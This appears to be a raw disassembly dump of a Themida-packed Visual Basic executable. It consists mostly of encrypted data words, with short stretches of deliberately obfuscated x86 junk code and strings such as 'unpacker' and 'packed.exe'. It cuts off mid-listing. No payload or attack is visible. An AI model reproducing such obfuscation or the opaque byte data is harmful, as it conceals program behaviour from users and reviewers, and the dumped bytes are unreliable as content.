0A8F2DBA4h, 0BE0E7713h, 9E2A4420h dd 0D26DA5C5h, 6744E2C0h, 8661FF4Fh, 2036586Ah, 1CF32B43h dd 89EB3B73h, 0A8F2770Ch, 0B1CDA813h, 7E5F760h, 3A7633A5h dd 53B3CDA9h, 16285582h, 4273ED1Dh, 760F7F14h, 68438DF5h dd 81E8D556h, 0CDA99221h, 121F918Ch, 0A7F750B8h, 9644552Ah dd 3F98011Bh, 5C7451EFh, 0C6D5B2C8h, 9644B249h, 0A884201Bh dd 0A4DC358Eh, 9CECC2CDh, 7253811Fh, 5932D01Ch, 0F26F0139h dd 3FA5C0Dh, 0F50760C9h, 7459AD16h, 9F5A479Bh, 44CD95Fh dd 0C1990000h, 1CF50B9Fh, 765268FCh, 0D3B2C85Ch, 3A152BBFh dd 4BB18A1Eh, 871B3712h, 0E5799771h, 47DBF1CFh, 0A83C5431h dd 33C845F5h, 9F13A8FDh, 7956CB5Ah, 55F3CD61h, 304A5C7Ch dd 35033B53h, 0CA084058h, 0FDDA4501h, 62BBD7B2h, 1108F7CEh dd 49CDE05Ch, 0F6000000h, 1C6C424Dh, 0A6EF3B9Fh, 7CF95913h dd 13A6F087h, 8176F353h, 4D13A6F0h, 21FF8BE4h, 0DF38D30Bh dd 0FD13F18Fh, 0F0897469h, 0D84A13A6h, 0EF309287h, 233D4F2Dh dd 849A2E46h, 0A24090A6h, 0DC77AFC3h, 0AF7E04CAh, 0D000003h dd 1C6C424Dh, 0A6861D9Fh, 92CA3313h, 7FCFE7C4h, 0B4EC04E1h dd 0DD410719h, 5F302460h, 3882FF4Fh, 171442A1h, 71839D79h dd 0BB952992h, 0F22A3E1Dh, 0D42D4924h, 0BEF09FC2h, 0C8CFF16Eh dd 1C851C6Eh, 73F052E4h, 3EED48Ch, 0BAD0AE4Ah, 7C8EE782h dd 5E388762h, 0E16D0840h, 5991EA06h, 9B9BCBA2h, 0ED6ABAF4h dd 40AF2D3h, 0EF07E482h, 0ACFC958Fh, 0B7C97871h, 0C5DB6FD8h dd 0E280D0E8h, 19B4EC06h, 96734107h, 0AE10EA7Eh, 0D2EC4A31h dd 0D4F4CD0Bh, 14B0019Ch, 48E31B3Bh, 0D5BADDEFh, 820C89D9h dd 0D00C36FFh, 9E791767h, 0FDAA7082h, 3336C002h, 649CBC95h dd 0C0AE55D2h, 0C32C3336h, 0A425A37h, 94004CBh, 0A7B874ADh dd 66BE17DDh, 926D1155h, 43B8E766h, 35h, 6C424D6Ch, 1767AA1Ch dd 5C73F4B4h, 39EF6C4Ah, 0F713A6BCh, 0C6A03E8Eh, 0C3A270A8h dd 83DC77AFh, 7DFEAB71h, 0CA13A6BEh, 2ED18DB9h, 0A7D877F3h dd 0F9h, 617956D0h, 31805B29h, 0AAE23B55h, 0AFE7FFDCh dd 9CEC04E1h, 0F3D225FEh, 0B34E86DFh, 7A57FA1h, 0EA04E029h dd 6EBE5991h, 42A00AF1h, 4D5FC814h, 42A44054h, 0E2FAD714h dd 0FF17F492h, 0D8B5CBEDh, 0DEB188C0h, 9E280D0h, 8A16B1E9h dd 0C45F97ABh, 4957D4B2h, 1713A6ABh, 50889C7Bh, 0B4BA41BEh dd 0AF1813A6h, 0FADFD56h, 50E21A32h, 0A6B42CD3h, 0E841AA13h dd 0FA95B4D6h, 0E8C664B4h, 65E2C0D2h, 14405ECDh, 0FB17F290h dd 371628C3h, 5E07ECEh, 643F55E9h, 3A153C15h, 9B6A5D68h dd 0F893CB24h, 0C58C4B9Fh, 5B9B6235h, 1F5D5h, 0F618F000h dd 53734C62h, 0B3CDA9BFh, 162A091Fh, 75916C82h, 69E208E1h dd 0C8DE728Eh, 263CD0EEh, 889E3248h, 4CFF93ABh, 0FF581F9Ch dd 0B1F613A8h, 5F7B5622h, 377FF1CBh, 571A2E50h, 154D6743h dd 0F50F217Ah, 0D7F1CD18h, 17AB049Fh, 6C424D46h, 8AA07E1Ch dd 571D9A78h, 2513A6A9h, 0EFCE6CBCh, 0F608A3DBh, 21009E30h dd 7902FB0Dh, 9A13A6A9h, 0A06EA6BCh, 0BD74ACC2h, 9AF2BEE6h dd 2C9EDD89h, 5823731h, 0A27D09FDh, 0A1B34E86h, 781139C6h dd 979ED8h, 56C70000h, 0D8605A79h, 1E3B040Dh, 0FBAA51CEh dd 0BF281442h, 85602E66h, 9D7B1969h, 0A2B44F87h, 0FFA72FDCh dd 0D5B21442h, 361329BDh, 800FE61Eh, 7361DE2Eh, 2113A6CEh dd 8A0524B8h, 5C57D424h, 23144029h, 5890A885h, 63CCABBDh dd 7E9A7513h, 0DDF9D4EAh, 35415889h, 1DA3E362h, 102h, 55E90BE3h dd 0B246663Fh, 12A6C09Ch, 75091DFCh, 0D468845Fh, 815CF5FBh dd 0E1BBD165h, 3B192FC3h, 9E7B9125h, 8F3FF286h, 0A8C06D12h dd 15A4E913h, 0CB5F7B56h, 2CC0D8B5h, 6A79565Bh, 42A016EDh dd 25BC414h, 1F3714B2h, 743A4CE7h, 1DB1C9A6h, 0CD1D91FEh dd 0F78C096Bh, 631442A0h, 7AD3E9C7h, 0E8FA10EEh, 0A8F187EFh dd 0D2B14D13h, 5FEB86BEh, 97326A82h, 5B38063Eh, 0E41C3210h dd 0C9223816h, 0F47613Dh, 71871B74h, 0BA2C7C94h, 1FB02A43h dd 7E1F7F5Dh, 8375B518h, 5A07CDDFh, 19FC16CDh, 2E66845Eh dd 346C8260h, 39792DF6h, 0E0BB5917h, 65F18CC4h, 9B366E8Ah dd 0C5B8EC89h, 71C49DE8h, 0CB247D93h, 2C442137h, 6FD7ADCh dd 99067D99h, 0EA53A4BCh, 654412D8h, 8B621951h, 6F8764DBh dd 37A1AD1Fh, 74D4EAC8h, 1F31CD49h, 0F20AE7FDh, 0C34BAh dd 8DC30000h, 61ACC335h, 2253CC2Bh, 7E563B10h, 7956245Ch dd 7D5B2961h, 87612F67h, 88633169h, 8B66346Ch, 8A69376Fh dd 94703E76h, 9B74427Ah, 68EE437Bh, 7C49h db 89h, 2Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], esi push edx push 0C0F578Eh pop edx or edx, 4D0E6DDBh sub edx, 7C511715h add edx, 372BE9F9h push edx pop edi pop edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop esi push edx mov edx, 8 add edx, esi mov [edx], edi mov edx, [esp] add esp, 4 push dword ptr [esp] pop esi add esp, 4 push dword ptr [esp] pop edi add esp, 4 jmp loc_58A287 ; --------------------------------------------------------------------------- dd 3FDCC686h, 0B8EF3D06h, 7EA61B4h, 0E0FFC503h, 2D9D6C5Dh dd 7D36E5Eh, 2D188211h, 5241AA66h, 2342982h, 5B5DD9A6h dd 69FFEF84h, 3D0C084Dh, 3EBCDCDCh, 7C7CA1ECh, 4610B6CBh dd 1C2ABA00h, 45321E27h, 40BBBBF5h, 505C857Dh, 4021E575h dd 4E8392EAh, 7EA14CFBh, 62F76F25h, 52B71F9h, 1C1D21A5h aNndcJ db 'Dcκ',7,'j',0 ; DATA XREF: Themida_:00584110o dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 8B8797C3h, 0E40455BDh, 718D8907h, 8007E41Bh, 85C70BDAh dd 7E42DA1h, 6FE0h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 0F8C35747h, 4595892Bh, 0C707E41Ch, 0E422B985h dd 7, 85850900h, 3107E41Ch, 0E41B1D85h, 0A5B5FF07h, 0FC07E406h dd 306195FFh, 6A07E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 9D85D8C3h, 613DF831h, 95FF006Ah dd 7E40E41h, 3DEBC08Bh, 0E82D3F89h, 9F7580E0h, 0A3636582h dd 1309F69Eh, 0FF5BAE04h, 19828B35h, 7E2B44ADh, 351AD7C3h dd 0D42E3438h, 32BF8A0Ah, 162904E4h, 0EDE97309h, 0DCA483ACh dd 0EF5BFE15h, 9585A06Bh, 17EE9BEh, 0BAA70000h, 2C2717E7h dd 98D31AD5h, 0D1D746B1h, 41EFB4CAh, 52E45B7Eh, 0FB6D5D97h dd 9244FCA3h, 92A59EB9h, 0E495BCD7h, 0CB0093B9h, 0A3F49DB2h dd 0B9FC9CACh, 45D2009Eh, 0EE73AFC9h, 9755FC00h, 6D599CBAh dd 0FFB2A4E5h, 0F647FEACh, 0D4C45657h, 0B5F600CCh, 49F78F7Dh dd 0FA975395h, 0CD45C9BCh, 6CA1915Ch, 0ACE5h, 1, 42h dup(0) dd 97000000h, 33A26D84h, 0EE69F0h, 1090E9h, 67106800h dd 0A2E907EAh, 68FFFAF9h, 7EA6823h, 0FAF998E9h, 69E968FFh dd 8EE907EAh, 68FFFAF9h, 7EA6AADh, 0FAF984E9h, 6BCD68FFh dd 7AE907EAh, 68FFFAF9h, 7EA6C90h, 0FAF970E9h, 6D6668FFh dd 66E907EAh, 68FFFAF9h, 7EA6DE9h, 0FAF95CE9h, 6EF668FFh dd 52E907EAh, 68FFFAF9h, 7EA6F73h, 0FAF948E9h, 705168FFh dd 3EE907EAh, 68FFFAF9h, 7EA7106h, 0FAF934E9h, 71C468FFh dd 2AE907EAh, 68FFFAF9h, 7EA72E2h, 0FAF920E9h, 73E168FFh dd 16E907EAh, 7DFFFAF9h, 33487BDDh, 0E8FD3026h, 98ADE06Ch dd 4C6194C0h, 0DC104307h, 65E56EFFh, 183A1D32h, 0CA86D0E5h dd 7BD38297h, 9679E348h, 23FFF366h, 0D9AEAF63h, 9B8ED27Ch dd 0ED61F4BAh, 476971A4h, 3B1A014Bh, 8568E213h, 23F9A342h dd 0B29EB865h, 2362569h, 6A23F9A2h, 3B6B4E96h, 4023F9A2h dd 86C90233h, 5E8C82DAh, 66A95Ah, 65AD0000h, 0F9AA5282h dd 194A5723h, 0C8C0E69Ah, 54F367Eh, 1BBDB57Ch, 559E037Dh dd 81D5BE11h, 8A899ECFh, 2523FA42h, 72E7CE18h, 1C4DA0E4h dd 3185B9A8h, 4D0823FAh, 185CF661h, 45387CC5h, 2C5C3F12h dd 3123FA32h, 0A497DB24h, 7D249EB2h, 0A1D1B4D2h, 9E23FA31h dd 0B1444891h, 0EAC29Eh, 0ED915A5Eh, 90000000h, 0EED17CD9h dd 1C158EBEh, 2165AEBBh, 0DB25252Eh, 0DBEF63F4h, 0D1798D93h dd 5DD10224h, 51342209h, 0A12D0A27h, 0E529727Ch, 0A6B0A992h dd 0C5DE0F62h, 267ABE90h, 0F73B193Fh, 0B4FD5104h, 92C389CBh dd 3F72DC79h, 15EACC2Eh, 48064F1Ch, 0F9550015h, 0B1B9CFB5h dd 0F6C98467h, 0D1DE23F9h, 2C5C3F87h, 3123F9D6h, 8890F324h dd 0D8206A66h, 6E964F1h, 23F9D5D6h, 4C7DC6D3h, 0E0BFF337h dd 61ABB82Bh, 2771D97Ah, 0BE9A1640h, 0B91C4D96h, 0A99BAFA4h dd 0C2A744F4h, 0E77F7CA0h, 0E900000Dh, 9FB4E771h, 54699CBAh dd 4194C00h, 0B8CD0054h, 487CAF9Bh, 0D179DA63h, 84CE899Eh dd 361A3C51h, 0E767EE03h, 2E54FB4h, 23FFF5D2h, 0D92223D7h dd 2925307Ah, 0A4AF96E0h, 6F4462A6h, 0D3F965E0h, 0BD20519Ah dd 6EA1ADA8h, 0A4411F8h, 0C34273C6h, 1D4D3078h, 221C158Fh dd 0B6D8E415h, 412870BAh, 0A1F43812h, 985C5B70h, 4A5C23F9h dd 371C7C36h, 0DD5468C8h, 44FFB3ABh, 0CBD86FA0h, 0FD649887h dd 39CC23F9h, 0CC124A16h, 0CF195A5Eh, 1D000000h, 0ED312136h dd 0D9EA699Ah, 9B8ED27Ch, 5F4E92B8h, 1C1593FDh, 8FD975E0h dd 93346447h, 2B391C15h, 15931848h, 0BF08151Ch, 3F162B8Eh dd 34775E44h, 0A0E94D28h, 0E6F6085Ch, 0DA0A6C13h, 0F80E1A4Bh dd 165EA6F0h, 16820333h, 0B1FB081Ch, 16819ECEh, 5D8E9B1Ch dd 0FA968D48h, 0E2152223h, 7FD1856Ch, 0ABB7E83Bh, 60438D85h dd 2BE15D0Bh, 260D5764h, 0D5EA1D2Dh, 0B9DACC7Eh, 0DBC2A7F1h dd 0CD4BAB7h, 5EFC0000h, 0A7B2C7FAh, 0ED677CAFh, 41172C5Fh dd 88CBE013h, 705B8FC2h, 0B1E466EDh, 6497BB9Ch, 1649074Fh dd 0C7FA5401h, 0E515F862h, 0EA23FFF6h, 91783536h, 0F3468AC4h dd 0A0AAA9C2h, 67E56F56h, 6EE7D023h, 18499CE0h, 99B5A0B5h dd 7CD9EB66h, 5D4088D2h, 1C158F2Dh, 11412432h, 0E1C158Fh dd 87CFB801h, 13285C9h, 93BB9A8Dh, 0EE1E0149h, 0EB1C158Eh dd 424AADDEh, 0F7DA242Ch, 23F9AED8h, 9382C6D3h, 23F9AE5Fh dd 6D1B34C7h, 3F83D386h, 4B23BBECh, 0F05A5E83h, 64h, 0C8C0E6EFh dd 0BA649B7Eh, 394723F9h, 0F9BA2656h, 0CD162323h, 0B9669A89h dd 6AE923F9h, 0ACA99CE0h, 33DA5EA2h, 0D86B6F1Ch, 0B4B3EB77h dd 31B85A5Eh, 0B7000000h, 7EC8C0E6h, 0F9948C9Bh, 75E28F23h dd 615094DDh, 23F9952Dh, 214D0295h, 5A5EA549h, 15EEh, 7E0F200h dd 0A90E0DCEh, 66AAA8AFh, 1A99CA13h, 8CECFh, 0C0E6D400h dd 6C9C7FC7h, 711C158Eh, 8F4F7F64h, 3F4C1C15h, 0F79AACF6h dd 7FCB889Eh, 62D4E83Bh, 88023303h, 9C71A5h, 1F697624h dd 4D301D38h, 24005B1Dh, 2011522h, 24D5882Fh, 8C73BD06h dd 0EE4185C9h, 10455ABDh, 1E2A5A3Dh, 222F2400h, 7E7D8FD9h dd 3E19D43Fh, 5D8D70BAh, 62240025h, 5CB02455h, 3C6DDF75h dd 0C8121E30h, 0EA8940E5h, 0D8222F2Bh, 0A0EA64F1h, 0B83858Eh dd 3680A55Fh, 159B2353h, 0EA1B281Ch, 6BE37287h, 0DE6A0F21h dd 0C3074D0Bh, 0A40B5C70h, 41279BCCh, 7DD3832Fh, 0BBA2EA34h dd 1D71B59Bh, 161A0A3Ah, 0B9020F1Ch, 321C7388h, 828F23FAh dd 0C5571990h, 4A476BBAh, 0B0Eh, 8DC098C2h, 4275E178h dd 0F225272Dh, 0A6D97BDDh, 5588C291h, 0A0B3BA21h, 0F56277AAh dd 41152A5Dh, 8EC7DC0Fh, 0BE288DC0h, 0FFF7ABDBh, 0FBFCB023h dd 158FA9DDh, 1B17391Ch, 0F3AAEED1h, 0C40C23FFh, 0FFF0B1E1h dd 0BDA0AE23h, 23FFF08Dh, 0B3C8592h, 2C346774h, 0DDC40E1Ah dd 67EED779h, 1F50A3E7h, 5486C2A5h, 0E1B2BEAh, 0D678DDC4h dd 86A17A8Ch, 78DCC727h, 0DB2E72DEh, 0E9FE6192h, 0B89EE26Ch dd 3E509A96h, 39B449DEh, 2FA9DA27h, 0AF4Ch, 59A3B024h dd 8ECBE372h, 0E83184C8h, 99B5A0B5h, 0FC346655h, 0A2C4A3FFh dd 4A795CA6h, 45ABE41Fh, 0DE6C686Dh, 0BE07D856h, 9B7E73CCh dd 0B8B5D942h, 0A4Ah, 5184D486h, 6391D3Ch, 0B6E963F1h dd 6A9DB7A1h, 194CFE55h, 0DC77C6E5h, 31263B6Eh, 7DD9EE21h dd 0CA8BA0D3h, 82EC5184h, 0FFF86F9Fh, 0B7B86C23h, 7EC8C0E6h dd 0FFF2579Bh, 0C98F3C23h, 43224DC0h, 549D7EFCh, 7CDAC10Bh dd 0C3D90D4h, 2D384A92h, 0E597239Eh, 6B9B7EC8h, 7024005Ah dd 3C193263h, 8BCADF12h, 77997FC3h, 164E317Bh, 932BEABFh dd 0FF553C86h, 85B6094Dh, 1D31240Bh, 0CE80D5EAh, 8682A48Ah dd 0A1E4593Ch, 0BDCB2400h, 5AAADAh, 59A2AF24h, 212D280Fh dd 0D27CD9EEh, 98B3A188h, 5A85B5h, 347D8A24h, 6CA08F03h dd 0FC24005Ah, 4C94DEEAh, 5B3969h, 0B0A4B424h, 910B3C49h dd 0EABE2EAEh, 94DEEB2Bh, 73A6A8ADh, 1357F75Eh, 0D3441B2Dh dd 183BB910h, 7FAF92DCh, 7C1C15BFh, 0F9DC266Fh, 240023BDh dd 411345F2h, 96C6A9FDh, 9323FFE0h, 0B0F43D86h, 62ACA4CAh dd 0E3E3447Fh, 0D472842Bh, 0D2353AD0h, 101EB5E6h, 2407FD2Dh dd 0ACF5021Ch, 9B777BBAh, 0C4C1E5C2h, 92Ah, 71A4B4A6h dd 2659FD5Ch, 0D6094311h, 8ABD97C1h, 396CDE75h, 0BC97A605h dd 11465B8Eh, 5DF90E41h, 0AAABC0F3h, 0A20C71A4h, 0FFF98FBFh dd 0D7D88C23h, 8ED27CD9h, 4A94BA9Bh, 0C107CB38h, 1945C14Fh dd 0A7CEF7Eh, 0AF23549Dh, 0CD1A357Ah, 0FF93C688h, 5DBABEAFh dd 84E0BF2h, 1137D7h, 78360000h, 9F88C291h, 5397B5h, 4FBACCFh dd 42B10000h, 4313FA61h, 4576C90Dh, 0D11B1739h, 0A1E56DEAh dd 0C0A31D4Eh, 23F9BAB9h, 68F36976h, 0F7058C8Ah, 650586Eh dd 0E9AD3023h, 0E22633F8h, 94DEEAFCh, 91B24B1h, 84CEDBF7h dd 0B295B89Dh, 0F101FA82h, 0FE317A87h, 0F0E26CE9h, 0EDBD845Bh dd 67080529h, 69000008h, 1F3467F1h, 0D4E91C3Ah, 8499CC80h dd 384D80D4h, 0C8FC2F1Bh, 51F95AE3h, 44E091Eh, 0B69ABCD1h dd 67E76E83h, 8265CF34h, 23FFFB52h, 0D9A2A357h, 22D6077Ch dd 863B753Ch, 0ED367FCFh, 2A0D55A9h, 1C1620FAh, 0A8C1F2FFh dd 6E559FABh, 568669EAh, 531C1621h, 65B9FD46h, 16215282h dd 14A571Ch, 43656DD0h, 0CEB5FD47h, 0B7E7CA8Bh dd 0B41C1620h, 0C71A5EA7h, 85138196h, 7E8C2400h, 7F6B9Bh dd 0AD987024h, 0C9EF2350h, 549EE730h, 3366E86Dh, 0D317371Eh dd 0C8BF987Fh, 66C4FDCEh, 0AAEE37E2h, 67B09EB7h, 0C042A36h dd 0D379DBC2h, 0D4528A2h, 0A22BEA3Bh, 0F1644B95h, 40152A5Dh dd 0B9FA2A0Dh, 0F2FF1C15h, 0E17265A9h, 0C5CA7769h, 92B6C2A9h dd 79195h, 3D1B3F00h, 0F264F50Ah, 0A2AAAABFh, 56FE5A6Fh dd 5450E23h, 303D9ED2h, 0DFF42723h, 92A7DA78h, 44598CC4h dd 0A50A3D11h, 0FC28583Bh, 712523FFh, 0C2917870h, 0C0F14488h dd 4C9692B4h, 0FFF33169h, 27717E23h, 6391540h, 0A4A64F1h dd 61B5F942h, 2E263219h, 82B297EAh, 8723FFF1h, 2B3D497Ah dd 68EED51Fh, 0F7400C48h, 1D044CC6h, 7ED11537h, 0DD9384Dh dd 0C9D62BE4h, 9B7880D7h, 7B789CC2h, 70Eh, 8DC098C2h, 4275E178h dd 0F225272Dh, 0A6D97BDDh, 5588C291h, 0A0B3BA21h, 0F56277AAh dd 41152A5Dh, 8EC7DC0Fh, 0BE288DC0h, 0FFFBABDBh, 0FBFCB023h dd 88D27CD9h, 6798B2A1h, 0F95500F3h, 143B80B5h, 1B4B2E76h dd 731C158Fh, 21BC5E56h, 7E8BF2AFh, 2D21344Dh, 193666FAh dd 745B5DBAh, 9F3F70E4h, 11h, 1397BCA3h, 77CA0E44h, 0CF7EFD2Eh dd 2D9h, 0D27CD9D4h, 9CB6A188h, 7FB0A6B3h, 703250Bh, 629275BDh dd 671C158Eh, 0CCAF295Ah, 23FFF394h, 0DBC20C19h, 3F92D67Ch dd 4E35AB0Eh, 1E014B0Bh, 23FFF2EEh, 94ADDEEBh, 6AE7C2C1h dd 555E04EDh, 7ED5C80Ch, 7F9199CCh, 0D1707BA8h, 98A4DBAEh dd 189EE92h, 543781CAh, 24003924h, 89D31C29h, 0EA9C4DA6h dd 0E175222Bh, 8FD82B6Fh, 0EEC3345h, 91CEC0E2h, 56FFE660h dd 0A5B0C5F8h, 0E17265A9h, 293F2569h, 41F4D721h, 4623FA91h dd 0F4264739h, 0CEF2BAC4h, 601D1h, 0CD8BCF00h, 82D4859Ah dd 321A3A4Fh, 0E66EEAFFh, 95B59EB3h, 0C08D2E62h, 6F84B793h dd 22376AE8h, 0D4E91C34h, 359ACD81h, 0FCB8E8CBh, 1B523FFh dd 327CD900h, 94E72B23h, 0F5EF014Bh, 19FD5B87h, 6F96D9Eh dd 0EB1BFE4Fh, 0F01C1641h, 41CFFFE2h, 0BFCC1C16h, 0B4E92D76h dd 5203E06Fh, 6535C9FCh, 25DBA2Ch, 7, 169CF01h, 0D9D40000h dd 83E0D27Ch, 81C2A9F0h, 584605Dh, 0E4C0000h, 5702174Ah dd 9DB7CCFFh, 0F1677CAFh, 381B3063h, 0ABDF12h, 134163Dh dd 0B4E76BECh, 6699B79Fh, 174A0451h, 356548B2h, 3A23FFFEh dd 7CD98586h, 0BA9B8ED2h, 0F85D5094h, 391F1256h, 32CDD71Bh dd 45701Dh, 8BC3924Fh, 50F95A41h, 158F3D6Dh, 0EC35421Ch dd 0EB6C55A8h, 9FD02367h, 9FF0A83Ch, 1C775DBAh, 7B000000h dd 97205033h, 101D1C15h, 0DD212F27h, 0CFDA598Ah, 0DBh dd 0D5CFD4h, 0E6D40000h, 0B4E4C7C0h, 0B91C158Eh, 8E98C8ABh dd 88951C15h, 9AACF63Fh, 0FD9C2D36h, 2512534Ah, 0D1D580F8h dd 95DD5788h, 76A7A7AEh, 0F22961h, 80D98624h, 63498DD6h dd 0B3FB454Dh, 97C88CCCh, 0E43F1B82h, 719BAD2Bh, 2291D770h dd 6D7A1142h, 9B677E7Bh, 0C1BEE2C2h, 4A6h, 0F528302Ah dd 0AADD79E0h, 5A8DBF95h, 0E411345h, 0BDF05AF9h, 381B2289h dd 8DCADF12h, 0D97D92C5h, 262F4477h, 2690F528h, 0FFFF1343h dd 63641823h, 7EC8C0E6h, 0F9DE4E9Bh, 60435123h, 23F9DE30h dd 8DD7202Dh, 58FEAEA6h, 1861B4F8h, 0DDA1D4E5h, 7BC323F9h dd 0F9DD6898h, 27586523h, 2306470Eh, 23F9DDF3h, 58A2EBF8h dd 0E87BE246h, 316239B1h, 0B19BB9CEh, 42C706Dh, 0E6750000h dd 9B7EC8C0h, 23FFF363h, 67095365h, 4EB90DFFh, 3579861Dh dd 0E731394Fh, 0E4379D04h, 0E482F2Bh, 73E0FE42h, 0BE565935h dd 0F68DBE07h, 0DB18F7E9h, 4064C29Bh, 3F143h, 0DD7BDF00h dd 92C495AAh, 420A4A5Fh, 0F65EFA0Fh, 0A5A5AEC3h, 0D09D3E72h dd 7F94C783h, 32477AD8h, 0E4F92C24h, 45AADD71h, 0FFC8F8DBh dd 11C523FFh, 0FDC0E610h, 3E48D0C2h, 4C96DF5Bh, 0E63569h dd 0E32D3A24h, 0C2F559FCh, 0A44C3A4Ch, 9788C642h, 46084D66h dd 0FD0A1C02h, 0FFB4EA1Ah, 0F9290C23h, 0F623FFB4h, 2C7582E9h dd 185AFFE2h, 8B722BEAh, 0EC3F83C9h, 0B9FD5303h, 919E3566h dd 0B9F56047h, 396CB59Fh, 0D97D3124h, 0FCDF3377h, 1C15D3CCh dd 327BC4D1h, 0EAE608EEh, 0B19BB9A0h, 23311A6Dh, 367EF829h dd 0C9714324h, 0A7D85407h, 0FAA33B92h, 31233023h, 0BAC505D4h dd 338F8CB0h, 9D000003h, 53689BBDh, 81D5006h, 0B8CD004Ch dd 6C81B4A0h, 0FC3063E7h, 85C58EDFh, 381A3D52h, 0EA66F005h dd 9BB3A2B7h, 0B6990368h, 23FFFF86h, 0D9CECF83h, 9B8ED27Ch dd 2261F4BAh, 7DD88172h, 91D51E9Dh, 0BAC2F53Eh, 6F529C94h dd 23F9DE2Ch, 2F1E626Fh, 23F9B6FBh, 82D7D77Eh, 0F43D90D4h dd 0B496BDB0h, 71DE5370h, 0D27D1014h, 5EB7C696h, 32655Ah dd 82690000h, 0D67CDBD3h, 12F5498Dh, 23F9AEE2h, 6091DAE7h dd 0C8C0E6E1h, 979C9B7Eh, 727F23F9h, 980B3F2Eh, 0E07323F9h dd 0AABBF36Fh, 0CDC05A5Eh, 0BF000000h, 88D27CD9h, 4E98B2A1h dd 158F3B6Bh, 233401Ch, 92B89B8Eh, 54FA5B4Eh, 2D09F80Ah dd 5161007Fh, 9CB9AC20h, 0D48168B2h, 0B2E3367Ah, 0DBDC3E4Fh dd 96DE1C15h, 15DA83B3h, 4A7B881Ch, 0F72A2431h, 97DB73E2h dd 49939FB1h, 0F9EA1F66h, 357F8C23h, 0D0DA0AEDh, 0D2DF23F9h dd 10363EA1h, 0EEBCE18h, 912BE0BBh, 533A84h, 5102174Ah dd 481407F9h, 4C70C2A7h, 2154Fh, 0B99FBB00h, 6EE87186h dd 1E2E263Bh, 0D282D6EBh, 81C98A9Fh, 0ACB11A4Eh, 5B70A3A7h dd 0E2356FCh, 0C0D50848h, 2186B995h, 0A4D4B7h, 0F5A92400h dd 57AD9F4h, 0CD884BF7h, 0B0996D81h, 152771BAh, 1DBDB557h dd 2A8DBE93h, 0C40E4015h, 92D678DDh, 30AB0E3Fh, 15F76678h dd 5A2EB9DDh, 0FF0B1D29h, 1CD3D2B5h, 0CBD823FAh, 1A649887h dd 39CC23FAh, 2F124A16h, 0E4195A5Eh, 18000000h, 0C0C59178h dd 0B7D639F0h, 0EE1F686Ch, 84CE80D5h, 5498BA9Dh, 695CD001h dd 2D1C60EAh, 1C15D8CBh, 10430B4Ah, 0B0F45AFBh, 71E3755Ch dd 4E7FCB88h, 0DA242C42h, 0F9DEB0F7h, 0CDB0F823h, 23F9DD9Dh dd 0CD6495A2h, 0D3173320h, 0DBED3780h, 0CEB0CE5h, 399CCDF4h dd 0C9131F31h, 26563981h, 2323FA62h, 94D0E516h, 192BE148h dd 78DBC20Ch, 42299FD2h, 0A4F73B13h, 51F95A73h, 0A7BAB25Fh dd 0BDBADEC2h, 116h, 85B8A0BAh, 3A6DE970h, 0EA1D2F25h dd 9ED183D5h, 4D80CA89h, 0A8ABB219h, 0FD5A6FA2h, 490D2255h dd 96BFD407h, 0B62085B8h, 1A3D3h, 0F3F4A824h, 0ECBD6678h dd 0C40E3393h, 4374BD91h, 0D721292Ah, 0A3E763F0h, 63A7A3B0h dd 32B3C710h, 0F1F81827h, 7085E819h, 0C03669E5h, 92D680D9h dd 0D98F0E3Fh, 9B8ED27Ch, 0EB6194BAh, 8E90C0A3h, 808D1C15h dd 252D434Fh, 0EB5FF4DBh, 0A92354A7h, 76DE7A61h, 8F19492Ch dd 9161C15h, 0F21AC3D8h, 0E22A23FFh, 10F55BFBh, 23FFF1E0h dd 0F1E717FAh, 0D7E423FFh, 9B326370h, 0F17AAA8Dh, 727F23FFh dd 63F2E529h, 0FF480E4Bh, 109EB7CCh, 76C90D49h, 42FAE92Dh dd 54340DC1h, 1045A2ADh, 0B598B99Eh, 33FD3A85h, 0EB347D8Ah dd 467659A1h, 4333FD3Bh, 8DA20536h, 4F4286C8h, 0FD074B09h dd 5500ED62h, 850C6F9h, 0FD3AF525h, 74DFA33h, 65AE0145h dd 143A1B34h, 10D3D0h, 95DD0000h, 0FD3A82B2h, 7CDA8733h dd 0DB5A8BD4h, 81D93A69h, 0B5A093D7h dd 0F4625599h, 3225185Ch, 6AE9DC20h, 0AAA99CE0h, 0EF695CA0h dd 262E2165h, 6AEFE226h, 536AA8ECh, 0C381E389h, 4, 8704EB83h dd 248B241Ch, 18EB6824h, 3C890000h, 5A0E6824h, 4890000h dd 65A46824h, 3C8B07EAh, 4C48124h, 68000000h, 392Bh, 83242489h dd 58042404h, 8EB95157h, 290C0330h, 5904244Ch, 8108408Fh dd 308E0840h, 48B0C03h, 0E3895324h, 4C381h, 0C3810000h dd 4, 5C241C87h db 8Bh, 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_598345 ; --------------------------------------------------------------------------- dd 751CB825h, 0C50307EAh, 0F1BCE0FFh, 0F31E01FDh, 588B5843h dd 0C73D7D8Eh, 0D2023388h, 2FD30C7h, 6E7E2ECFh, 4EBD39A5h dd 39692618h, 61B50692h, 1F272840h, 1E5035A9h, 4960470Fh dd 7BE957F5h, 4B000001h, 0DD679C44h, 437C8360h, 5F6D5C3Ah dd 61706E75h, 72656B63h, 63617000h, 2E64656Bh, 657865h dd 3Ah dup(0) dd 33000000h, 6E6E6143h, 6620746Fh, 20646E69h, 27732527h dd 6C50202Eh, 65736165h, 6572202Ch, 736E692Dh, 6C6C6174h dd 69687420h, 70612073h, 63696C70h, 6F697461h, 6854006Eh dd 54526E75h, 6E69614Dh, 765F5F00h, 61566162h, 74735472h dd 654Eh, 7 dup(0) dd 4DE90000h, 6800001Ch, 7EA797Dh, 0FA0692E9h, 7A5868FFh dd 88E907EAh, 68FFFA06h, 7EA7B90h, 0FA067EE9h, 7C4868FFh dd 74E907EAh, 68FFFA06h, 7EA7C87h, 0FA066AE9h, 7D4A68FFh dd 60E907EAh, 68FFFA06h, 7EA7DA7h, 0FA0656E9h, 7DF868FFh dd 4CE907EAh, 